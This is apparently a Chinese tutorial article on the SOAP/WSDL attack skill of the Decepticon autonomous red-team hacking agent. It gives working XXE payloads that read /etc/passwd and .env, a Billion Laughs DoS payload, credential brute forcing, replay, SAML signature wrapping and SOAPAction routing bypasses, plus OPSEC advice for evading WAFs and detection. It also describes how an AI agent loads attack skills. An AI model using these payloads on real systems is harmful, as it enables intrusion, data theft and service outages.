
【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载导读本文围绕 Decepticon 开源红队项目中 api-soap-wsdl 技能 展开系统讲解针对遗留企业 SOAP/WSDL 服务.NET ASMX、WCF .svc、Spring-WS、Java EE 总线等的完整攻击方法论从?wsdl接口枚举、SOAP 客户端生成到 XXE、WS-Security 凭据泄露、WS-Addressing 重放、SAML/WS-Trust 令牌注入、Schema 校验绕过、XML Bomb DoS 与 SOAPAction 路由混淆等七类攻击手法。读完本文你将掌握一套可复制的 SOAP 接口探测-攻击-收尾OPSEC流程并理解该技能如何在 Decepticon 的load_skill渐进式披露机制下被红队 Agent 按需调用。技能定位Decepticon API 分类下的 SOAP/WSDL 子技能在 Decepticon 的技能树中api-soap-wsdl位于standard/exploit/api/目录属于现代 API 协议攻击这一分类下的四个子技能之一gRPC、SOAP/WSDL、WebSocket、SSE。其父级路由技能 api/SKILL.md 明确给出了 SOAP 的线缆特征wire signature协议子技能线缆特征gRPCgrpcHTTP/2 application/grpc[proto\|json]端口 50051/443SOAP/WSDLsoap-wsdltext/xml/application/soapxml的 XML 请求体?wsdl服务发现WebSocketwebsocketHTTPUpgrade: websocket握手后分帧传输Server-Sent Eventsserver-sent-eventsContent-Type: text/event-stream单向流路由技能提供的快速指纹识别命令是进入本技能的第一步# SOAP? curl -sk https://target/endpoint?wsdl | head -1 # XML WSDL 文档 curl -sk -X POST -H Content-Type: text/xml https://target/endpoint # 500 SOAP fault一旦确认目标是 SOAP 服务Agent 就会按 SKILL-FIRST 规则当任务匹配子技能触发器时必须在凭记忆行动之前先加载该技能调用load_skill(/skills/standard/exploit/api/soap-wsdl/SKILL.md)获取完整攻击程序。技能 frontmatter 中的触发词正是该调用的判据metadata: when_to_use: soap wsdl xml ws-security ws-addressing ws-trust saml asmx wcf .asmx .svc spring-ws subdomain: api tags: soap, wsdl, xml, ws-security mitre_attack: T1190, T1203其中mitre_attack: T1190利用暴露的公网应用Exploit Public-Facing Application与T1203客户端执行利用会在 Agent 的系统提示词中以内联标签形式呈现使技能目录具备 ATTCK 感知能力。allowed-tools: Bash Read Write声明了本技能执行所需的工具面。关于 frontmatter 的字段契约与校验规则可参阅 docs/skill-schema.md。一、DiscoveryWSDL 枚举与客户端生成SOAP 攻击的第一步是从服务描述文档WSDL中获取接口全貌。技能给出了两条探测命令覆盖 .NET ASMX、WCF 与 Spring-WS 三类主流实现# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint curl -sk https://target/Service.asmx?wsdl | xmllint --format - curl -sk https://target/Service.svc?wsdl | xmllint --format - # Generate a client from the WSDL python -m zeep https://target/Service.asmx?wsdl # OR wsdl2java -uri https://target/Service.asmx?wsdl要点拆解?wsdl后缀探测.asmx、.svc乃至 Spring-WS 端点后追加?wsdl是业界通行的服务描述获取方式。输出管道到xmllint --format -是为了把压缩在一行的 WSDL 美化排版便于阅读portType、binding、message与types中嵌入的 XSD schema——这些正是后续构造合法 SOAP 信封与发现隐藏方法如未在文档中公开的 AdminMethod的原料。Pythonzeep以交互模式加载 WSDL 并生成可调用的 Python SOAP 客户端适合在自动化脚本中枚举并调用每个方法。wsdl2javaApache CXF 工具链将 WSDL 编译为 Java 桩代码适合把服务接口静态化后逐方法审查参数类型与命名空间。从仓库实现看本技能所在的 exploit/api 目录下还有grpc、websocket、server-sent-events三个平行子技能Discovery 阶段若同时发现 REST/GraphQL 接口父路由技能会引导转向 exploit/web/SKILL.md。二、攻击目录七类 SOAP 专属攻击手法1. XXE in SOAP envelope信封内外部实体注入SOAP 请求体是标准 XML若服务端解析器未禁用外部实体即可读取服务器本地文件curl -sk -X POST -H Content-Type: text/xml -H SOAPAction: \ -d ?xml version1.0? !DOCTYPE r [!ENTITY x SYSTEM file:///etc/passwd] soap:Envelope xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Bodytns:Methodtns:argx;/tns:arg/tns:Method/soap:Body /soap:Envelope https://target/Service.asmx注意SOAPAction: 空头部分 ASMX 服务在头缺失时会直接拒绝请求空字符串是绕过校验的常见做法。实体x;被解析后其内容/etc/passwd会作为参数值进入业务方法若方法错误地把参数回显到响应或日志中即可读取。这一手法在仓库的兄弟技能 exploit/web/xxe/SKILL.md 中有更完整的扩展其 XXE via SOAP 章节给出了命名空间匹配的进阶变体——WSDL 中的元素往往带目标命名空间前缀必须与实际服务契约一致才能命中curl -s http://TARGET/ws -H Content-Type: text/xml -d ?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///.env ] soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ xmlns:nshttp://target.namespace/ soapenv:Body ns:getData ns:inputxxe;/ns:input /ns:getData /soapenv:Body /soapenv:Envelope当实体内容不回显时xxe 技能还提供了**盲 XXEOut-of-Band**方案把参数实体%file拼接到攻击者可控的 DTD URL 中通过 HTTP 请求把文件内容带外传回监听端口此处不再展开。2. WS-Security UsernameToken 爆破与明文凭据泄露wsse:UsernameToken是 WS-Security 中最常见的认证载体而许多实现为了兼容旧策略会在wsse:Password中以明文携带密码# WSPolicy may demand: Type...#PasswordText curl -sk -X POST -d ws-attack.xml https://target/svc # Brute: cycle a username dict, observe response time/error class攻击路径有二凭据收割当通道是 HTTP非 HTTPS或网关/代理记录了请求体时明文PasswordText直接暴露口令即便是哈希形式...#PasswordDigest弱口令也可离线爆破。在线爆破循环用户名/口令字典观察响应时间与错误类别SOAP Fault的Code/Reason字段、HTTP 状态码差异来区分用户不存在与密码错误实现用户枚举与口令猜解。3. WS-Addressing 重放ReplaySOAP 响应常携带wsa:RelatesTo回指请求中的wsa:MessageID而部分服务器不校验 MessageID 的新鲜度wsa:MessageIDuuid:CAPTURED_FROM_LEGITIMATE_REQUEST/wsa:MessageID把合法请求的 MessageID 直接复用即可在无凭据情况下重放受 WS-Addressing 保护的请求。配合前面的明文凭据泄露重放往往能直接拿到业务操作权限。4. SAML in WS-Trust / SAML EncryptedAssertionWS-Trust 1.3 的 RSTRequest Security Token与 RSTRResponse流程允许交换 SAML 令牌。攻击方式包括用 IdP 泄露的证书对断言重新签名利用XML Signature WrappingXSW让校验器检查合法断言、而应用读取攻击者断言。技能的完整 XSW 变体XSW1–XSW8、注释注入、签名剥离、KeyInfo 证书混淆不在本文展开请直接加载仓库中的 exploit/web/saml/SKILL.md——它给出了全部 8 种变体模式、SAMLResponse解码命令base64 -d | xmllint --format -、SAML Raider 自动化测试流程以及按 CVSS 校准的严重性分级表。SOAP 场景下只需记住WS-Trust 端点本质是 SAML 断言的传输通道XSW 的所有手法在此同样适用。5. Schema validation bypassSchema 校验绕过许多服务端先解析 SOAP 信封、后校验 XSD甚至对超出 XSD 的元素直接宽容放行。向信封中注入 schema 之外的字段往往会被业务层当作真实输入处理soap:Body tns:Method tns:adminFlagtrue/tns:adminFlag !-- not in XSD, often honored -- tns:argvalue/tns:arg /tns:Method /soap:Bodytns:adminFlag不在 XSD 定义中但许多 ORM/反序列化框架会把它映射到对象属性——这正是越权字段类漏洞对应 mass-assignment 思维在 SOAP 世界的体现。验证手法逐个添加可疑字段观察响应差异并对照 WSDL 中 XSD 的minOccurs/maxOccurs约束寻找宽松点。6. XML Bomb / Billion Laughs DoS实体炸弹拒绝服务通过嵌套实体引用让解析器展开出指数级内容耗尽 CPU 与内存!DOCTYPE x [!ENTITY a 12345678!ENTITY b a;a;a;a;a;a;a;a;a;a;!ENTITY c b;b;b;b;b;b;b;b;b;b;] xc;c;c;/xa→ 10 个b→ 100 个c→ 1000 次展开一次请求即可让未配置实体扩展上限的解析器瘫痪。该手法在 xxe 技能的 Common Pitfalls 章节中也有呼应解析器若禁用SYSTEM实体则尝试PUBLIC实体禁用file://则尝试php://filter包装器。7. SOAPAction 路由混淆.NET ASMX 特有.NET ASMX 按 HTTP 头SOAPAction而非请求体选择方法两者可以不一致curl -X POST -H SOAPAction: http://target/AdminMethod \ -d soap:Envelope...PublicMethod body.../soap:Envelope \ https://target/Service.asmx头声明调用AdminMethod体内却是PublicMethod的参数结构——若路由层信任 SOAPAction 做鉴权就会形成借道公开方法触达管理方法的逻辑绕过。实操时先通过 WSDL 提取全部操作的soapAction属性再逐一组合测试。三、ToolingSOAP 交互式探测与自动化工具链技能推荐的工具体系分三层# SoapUI free / Postman SOAP — interactive probing soapui --gui # or non-GUI: testrunner.sh # Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping # python zeep — programmatic SOAP client (good for automation) python3 -c from zeep import Client; c Client(https://target/Service.asmx?wsdl); print(c.service.Method(arg))SoapUIGUI 模式适合人工构造信封逐方法调试testrunner.sh无头模式可在 CI/批量脚本中对一组 WSDL 做回归式探测。Burp Suite 插件Wsdler把 WSDL 解析为可请求列表并管理 SOAPActionSAML Raider覆盖 SAML/WS-Trust 场景的 XSW 与签名操作详见 saml 技能 的 XSW1-8 自动化测试章节。PythonzeepClient(...?wsdl)一行即可拿到类型化的服务代理c.service.Method(arg)直接调用在 Decepticon 的 Bash 工具面allowed-tools: Bash Read Write下这是最适合把 SOAP 攻击脚本化的方式——循环枚举方法、批量注入 payload、解析 SOAP Fault 都可在 Python 内完成。四、OPSECSOAP 攻击的隐蔽性收尾技能在攻击手册末尾单独列出三条 OPSEC 纪律直接关系扫描的存活率与证据质量随机化wsa:MessageIDWS-Addressing 的 MessageID 被大量 WAF 记录为请求指纹逐请求随机化可避免重放行为被关联告警。对应可落地的做法是在每次请求前重新生成 UUID 替换头值。伪装客户端身份WS-Security 头会暴露客户端标识应从先前捕获的合法请求中提取真实的 clientID/证书指纹并复用降低被 SOAP 网关标记的概率。限制 Fault 触发频率SOAP Fault 响应会泄露堆栈跟踪StackTrace、内部异常类名是高价值信息但每个扫描目标只触发一次即止避免触发速率限制告警。五、纵深机制技能如何在 Decepticon 中被加载与审计从仓库源码可以看清该技能的实际调用链路与治理约束渐进式披露Progressive DisclosureSkillsMiddleware 将技能目录含本技能的描述、触发词、MITRE 标签、load_skill路径注入 Agent 系统提示词但技能全文不在目录中只有任务匹配when_to_use触发词时才按需加载——这正是 SOAP 技能在无需处理 XML 目标的任务中不消耗上下文的机制。load_skill工具tools/skills.py 实现的load_skill返回技能全文frontmatter 剥离后并附加 base directory 头与同目录references/索引路径必须以/skills/开头、拒绝..穿越与反斜杠越界路径会返回[load_skill error]字符串而非抛异常。Slug 模糊解析tools/skills_registry.py 支持按精确路径、相对路径或唯一 slug如soap-wsdl解析若多个候选并列返回AmbiguousSkill让 Agent 显式选择绝不静默猜测。Schema 审计docs/skill-schema.md 定义了所有 SKILL.md 的 frontmatter 契约——name、description、metadata.subdomain、metadata.when_to_use为必填mitre_attack必须匹配T\d{4}(\.\d{3})?等三种格式且攻击型技能不在reporting/、analyst/目录下必须至少声明一项归因字段否则触发R-no-attribution校验错误。api子域在别名映射中归一为web-exploitation。结语从技能到实战的执行顺序综合上述内容一条完整的 SOAP 目标处理流水线是指纹确认用父路由技能的命令验证text/xml/application/soapxml与?wsdl存在加载技能load_skill(/skills/standard/exploit/api/soap-wsdl/SKILL.md)必要时并行加载 xxe 与 saml 获取命名空间变体与 XSW 全集枚举xmllint --format -梳理 WSDLzeep/wsdl2java生成客户端逐类攻击按上文七类手法顺序推进同一边界类连续 3 个 payload 无差异即切换攻击类别遵循 exploit/web 技能目录的 Payload Pacing 跨技术规则取证与收尾记录 Fault 泄露的堆栈、保留最小触发次数随机化 MessageID 与客户端标识。该技能的完整正文含全部命令与 payload可在仓库 soap-wsdl/SKILL.md 直接查阅父级路由与兄弟技能见 exploit/api 目录。赞分享【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载相关推荐ReflectionDocBlock与SOAP集成WSDL生成的终极指南ReflectionDocBlock与SOAP集成WSDL生成的终极指南 ReflectionDocBlock是phpDocumentor的核心组件它能够解文档开发工具从 CVE 到修复iniscan 如何检测 SOAP WSDL 缓存目录安全隐患从 CVE 到修复iniscan 如何检测 SOAP WSDL 缓存目录安全隐患 iniscan 是一款命令行 php.ini 安全扫描器专门针对 PHP应用安全开发工具AAS 仓库 api-fuzzing-bug-bounty 技能深度解析面向 Bug Bounty 的 REST / SOAP / GraphQL API 模糊测试实战指南AAS 仓库 api fuzzing bug bounty 技能深度解析面向 Bug Bounty 的 REST / SOAP / GraphQL API 模AI 技能AI 插件创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考